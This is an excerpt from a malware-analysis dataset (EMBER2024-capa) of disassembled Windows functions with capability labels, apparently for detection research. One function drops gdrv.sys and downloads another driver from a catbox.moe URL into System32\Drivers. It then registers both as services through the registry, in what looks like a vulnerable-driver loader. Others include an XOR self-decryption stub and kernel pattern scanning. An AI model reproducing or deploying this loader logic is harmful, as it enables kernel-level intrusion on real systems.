joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000b478
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000b4a8
xor eax, eax
jmp 0x14000b56b
mov rbp, rbx
cmp word [rax], si
je 0x14000b4cd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000b4b4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000b4b0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000b398
movsxd r14, eax
test eax, eax
jne 0x14000b50b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000b4a1
mov rcx, r14
call fcn.140009978
mov rdi, rax
test rax, rax
jne 0x14000b524
xor ecx, ecx
call fcn.140009a50
jmp 0x14000b500
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000b398
test eax, eax
jne 0x14000b555
mov rcx, rdi
call fcn.140009a50
jmp 0x14000b55f
xor ecx, ecx
call fcn.140009a50
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14079175c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140791766
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14079178f
pop rbp
sub rbp, 0x33
sub rbp, 0x79175c
sub ebp, 0x79175c
sub rsp, 0x20
jmp 0x1407917ae
mov rax, 0x79175c
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x305f038
xor byte [rax], dl
inc rax
dec rcx
jne 0x1407917cd
test edx, esi
invalid
jmp 0x1407917e4
add byte [rax], al
add bh, ch
and al, 0x96
sal byte [rax - 0x4f], cl
jo 0x140791797
sal dword [rbx + 0x383804b1], 1
cmp byte [rax - 0x47], dh
stc
xor byte [rcx], bh
cmp byte [rax], bh
jo 0x14079182f
sal dword [rax - 1], 1
clc
invalid
adc byte [rax], bh
cmp byte [rax], bh
jo 0x1407917d6
fidiv dword [rax + 0x39]
stc
mov bl, 0xb9
xor al, 0x38
cmp byte [rax], bh
jo 0x14079184c
shr byte [rax + 0x68], 1
jo 0x140791798
mov al, 0x76
cmp byte cs:[rax], bh
cmp byte [rax], bh
cmp byte [rax - 0x7f], dh
invalid
jecxz 0x1407917dd
add byte [rax], bh
cmp byte [rax], bh
cmp al, dl
cmp eax, 0xd1383838
cmp byte cs:[rax], bh
cmp cl, bh
sar byte [rdx], 1
or dword [rcx], ebp
jo 0x140791801
stc
cmp al, 0x38
cmp byte [rax], bh
jo 0x140791816
cmp byte [rax - 0x39], dh
invalid
Function at 0x140001070
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rcx
mov dword [rsp + 0x28], 0
mov ecx, 0xb
lea r9, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000110b
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x28]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x28]
lea r9, [rsp + 0x28]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400010c0
test eax, eax
jns 0x140001124
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
jmp 0x140001191
xor ebx, ebx
mov qword [rsp + 0x60], rbp
cmp dword [rdi], ebx
jbe 0x140001179
lea rsi, [rdi + 0x2e]
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rsi]
lea rdx, [0x140003390]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000121c
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x140001140
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov rbp, qword [rsp + 0x60]
xor edx, edx
lea rcx, [0x1400033a0]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x20], 0xd38b48ff
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
test eax, eax
je 0x140001243
lea r10, [rdi + 4]
mov r11d, eax
nop dword [rax]
xor eax, eax
lea rcx, [rsp + 0x24]
mov r9, r10
lea rdx, [rsp + 0x20]
sub r9, rcx
movzx ecx, byte [r9 + rdx]
cmp byte [rdx], cl
jne 0x14000123a
cmp eax, 6
je 0x140001237
inc eax
inc rdx
cmp eax, 7
jb 0x140001202
jmp 0x14000123a
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000118c
mov r8, r10
inc r10
sub r11, 1
jne 0x1400011f0
mov ebx, dword [r8 + 3]
lea rdx, str.ZwFlushInstructionCache
add ebx, 7
movabs rax, 0xffffffff00000000
add ebx, r8d
mov rcx, rdi
and r8, rax
add rbx, r8
sub rbx, rdi
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsi, rdi
lea rcx, [rbx + 0x20]
add rax, rsi
mov qword [r14], rcx
mov qword [r14 + 8], rax
mov rax, r14
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x1400012b0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov rsi, rcx
mov edx, 0x35
mov edi, 0x34
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x14000134f
lea r8, [rbx + 2]
cmp cx, 0x5c
lea rdx, [rdx + 2]
movzx ecx, word [rdx]
mov rax, r8
cmovne rax, rbx
add r8, 2
mov rbx, rax
test cx, cx
jne 0x140001301
movzx ecx, word [rax]
test cx, cx
je 0x14000134f
movzx eax, word [rax]
lea rcx, [rsi + 0x68]
movzx edx, ax
cmp dx, 0x2e
je 0x14000134f
add rbx, 2
mov word [rcx], ax
inc edi
add rcx, 2
movzx eax, word [rbx]
movzx edx, ax
test ax, ax
jne 0x140001331
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001417
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400013b0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001417
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x1400017c0
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [0x1400034a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x1400034c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x44], esi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000187c
cmp rdi, 0xffffffffffffffff
je 0x14000196d
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rsi
mov r8d, 0x6650
lea rdx, [0x140005080]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000196d
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:_Windows_System32_Drivers_acpia.sys
xor ecx, ecx
lea rdx, str.https:__files.catbox.moe_05ke3j.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r9, [rsp + 0x40]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
js 0x14000193c
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x260]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x14000193c
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x50]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Drivers_acpia.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x14000193c
lea rdx, [rsp + 0x50]
lea rcx, [0x14000bee0]
call fcn.1400012b0
mov ebx, eax
test eax, eax
js 0x14000193c
lea rdx, [rsp + 0x260]
lea rcx, [0x14000c0f0]
call fcn.1400012b0
mov ebx, eax
test eax, eax
js 0x14000193c
call fcn.140001440
lea rcx, [0x1400034a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x1400034c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
call fcn.140001a20
lea rcx, str.Done
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140001c00
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400563e0
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
test rdx, rdx
je 0x140056452
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
mov r15, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov r12, qword [sym.imp.ADVAPI32.dll_SystemFunction036]
jmp 0x140056418
add rdi, rbx
sub rsi, rbx
je 0x140056452
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, 2
call r15
cmp eax, 0xbfffffff
jbe 0x140056410
mov ebp, eax
mov rcx, rdi
mov edx, ebx
call r12
test al, al
jne 0x140056410
and ebp, 0x7fffffff
jmp 0x140056454
xor ebp, ebp
mov eax, ebp
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400c0530
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
cmp dword [rcx], 2
jne 0x1400c05c6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
pshufd xmm2, xmm0, 0xee
pxor xmm2, xmmword [0x1402bc3e0]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rsi, qword [rdx]
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400c31b0
test rdi, rdi
je 0x1400c0655
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x1400c066e
mov rcx, qword [rdx]
mov r8, qword [rcx]
xor edx, edx
test r8, r8
setne dl
movabs rax, 0xcbf29ce484222325
xor rax, rdx
movabs rdx, 0x1efac7090aef4a21
imul rax, rdx
test r8, r8
je 0x1400c0766
mov r9, qword [rcx + 0x10]
test r9, r9
je 0x1400c07e8
mov rcx, qword [rcx + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x1400c0773
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x1400c0630
cmp r9, 8
jae 0x1400c077c
jmp 0x1400c07e8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400c31b0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x1400c07e8
movzx ecx, byte [rcx + 8]
xor rax, rcx
imul rax, rdx
jmp 0x1400c07e8
mov r8, rcx
cmp r9, 8
jb 0x1400c07e8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x1400c0780
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x1400c0800
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x1400c0896
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x1402bc3e0]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400c31b0
test rdi, rdi
je 0x1400c0925
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x1400c093e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x1400c0a36
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x1400c0ab8
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x1400c0a43
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x1400c0900
cmp r9, 8
jae 0x1400c0a4c
jmp 0x1400c0ab8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400c31b0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x1400c0ab8
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x1400c0ab8
mov r8, rcx
cmp r9, 8
jb 0x1400c0ab8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x1400c0a50
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x1400c31b0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x1400c31f2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x1400c31fa
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400c320b
jmp 0x1400c3222
xor r10d, r10d
jmp 0x1400c32ad
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x1400c3222
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x1400c3239
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x1400c3259
add r11, r8
jmp 0x1400c338b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x1400c3322
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x1400c32d0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x1400c3340
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x1400c3352
jmp 0x1400c336d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x1400c336d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x1400c3387
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400c4e00
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
movaps xmmword [rsp + 0x70], xmm6
call fcn.14020fec0
mov rsi, rax
cmp qword [rax], 0
je 0x1400c4e37
mov rax, rsi
add rax, 8
mov rbx, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
jmp 0x1400c4e6b
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
mov rbx, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rax, rsi
add rax, 8
mov qword [rsi], 1
mov qword [rsi + 0x10], r14
lea rcx, [rbx + 1]
mov qword [rax], rcx
movabs r15, 0x736f6d6570736575
xor r15, rbx
movabs r12, 0x646f72616e646f6d
xor r12, r14
movabs r13, 0x6c7967656e657261
xor r13, rbx
movabs rbp, 0x7465646279746573
xor rbp, r14
mov esi, 1
lea rdi, [rsp + 0x50]
xorps xmm6, xmm6
nop word cs:[rax + rax]
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r14
movups xmmword [rdi], xmm6
mov qword [rdi + 0x10], 0
mov qword [rsp + 0x68], rsi
mov r8d, 8
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x68]
call fcn.1400c31b0
mov rcx, qword [rsp + 0x30]
mov r9, qword [rsp + 0x50]
shl r9, 0x38
or r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x20]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x28]
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
add r8, rdx
rol rdx, 0x10
xor rdx, r8
rol rdx, 0x15
xor rcx, rax
add r8, rcx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
inc rsi
xor rax, r8
je 0x1400c4ec0
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400d54f0
Capabilities:
Encrypt data via sspi

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rax, rcx
mov qword [rcx + 0x138], rdx
mov r14, qword [r8]
mov r15, qword [r8 + 8]
lea rcx, [rbp - 0x48]
mov qword [rbp - 8], rax
mov rdx, rax
call fcn.1400dd100
mov eax, dword [rbp - 0x48]
cmp eax, 2
jne 0x1400d5549
mov rbx, qword [rbp - 0x40]
test eax, eax
mov r12, qword [rbp - 8]
je 0x1400d55ba
mov rdx, qword [r12 + 0x190]
mov rsi, qword [r12 + 0x198]
cmp rsi, rdx
jne 0x1400d5700
mov rdi, qword [rbp - 0x40]
mov r13d, edi
shr rdi, 0x20
cmp r15, rdi
cmovb rdi, r15
mov r12d, dword [rbp - 0x44]
lea r15, [rdi + r12]
